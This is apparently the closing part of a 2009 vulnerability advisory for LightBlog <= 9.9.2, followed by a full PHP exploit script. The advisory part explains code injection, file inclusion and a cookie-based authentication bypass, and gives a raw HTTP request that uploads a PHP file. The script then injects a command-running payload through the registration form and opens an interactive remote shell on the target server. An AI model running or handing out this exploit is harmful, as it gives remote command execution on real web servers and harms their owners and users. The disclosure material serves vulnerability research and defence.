"; 74. 75. $fd = fopen ($newaccountfile, "w"); 76. chmod($newaccountfile, 0777); 77. fwrite ($fd, $details); 78. fclose($fd); An attacker could be able to inject and execute arbitrary PHP code due to new accounts are saved with "php" extension. This is possible because input is not properly sanitised, so you can use "complex curly syntax", which allows to put complex expressions into string definitions. [-] vulnerable code in /check_user.php 6. if(isset($_COOKIE['Lightblog_username']) and isset($_COOKIE['Lightblog_password'])){ 7. 8. $username_cookie = $_COOKIE['Lightblog_username']; 9. $password_cookie = $_COOKIE['Lightblog_password']; 10. 11. if(file_exists("./accounts/{$username_cookie}.php")){ 12. 13. include("./accounts/{$username_cookie}.php"); 14. 15. if($password_cookie != $password){ 16. 17. setcookie("Lightblog_password", "", time()-9999999); 18. setcookie("Lightblog_username", "", time()-9999999); 19. echo ""; 20. exit; 21. 22. } else { 23. $username = $username_cookie; 24. $user = true; 25. } In addition to the LFI (line 13), an attacker could be able to bypass the authentication by setting special crafted cookies. So anyone can access to cp_*.php and is able to to upload arbitrary file or put malicious php code into e.g. settings.php. Arbitrary file upload poc: POST /lightblog/cp_preview.php HTTP/1.0 Host: localhost Cookie: Lightblog_password=; Lightblog_username=../header Content-Length: 166 Content-Type: multipart/form-data; boundary=o0oOo0o Connection: close --o0oOo0o Content-Disposition: form-data; name="image"; filename="poc.php" --o0oOo0o-- [-] Disclosure timeline: [21/04/2009] - Bug discovered [22/04/2009] - Vendor contacted but no response [25/04/2009] - Vendor contacted again still no response [26/04/2009] - Vendor has deleted any reference to LighBlog on his site (???) [27/04/2009] - Public disclosure */ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); function http_send($host, $packet) { if (($s = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) == false) die("\nsocket_create(): " . socket_strerror($s) . "\n"); if (socket_connect($s, $host, 80) == false) die("\nsocket_connect(): " . socket_strerror(socket_last_error()) . "\n"); socket_write($s, $packet, strlen($packet)); while ($m = socket_read($s, 2048)) $response .= $m; socket_close($s); return $response; } print "\n+-------------------------------------------------------------------------+"; print "\n| LightBlog <= 9.9.2 (register.php) Remote Code Execution Exploit by EgiX |"; print "\n+-------------------------------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] host path\n"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /lightblog/\n\n"; die(); } $host = $argv[1]; $path = $argv[2]; $code = rawurlencode('{${error_reporting(0)}}{${print(_code_)}}{${passthru(base64_decode($_SERVER[HTTP_CMD]))}}{${die}}'); $payload = "username_post=test&pwd1_post=test&pwd2_post=test&name_post=test&email_post={$code}"; $packet = "POST {$path}register.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Content-Length: ".strlen($payload)."\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Connection: close\r\n\r\n"; $packet .= $payload; http_send($host, $packet); $packet = "GET {$path} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cookie: Lightblog_password=; Lightblog_username=test\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Connection: close\r\n\r\n"; while(1) { print "\nlightblog-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; $response = http_send($host, sprintf($packet, base64_encode($cmd))); preg_match("/_code_/", $response) ? print array_pop(explode("_code_", $response)) : die("\n[-] Exploit failed\n"); } ?>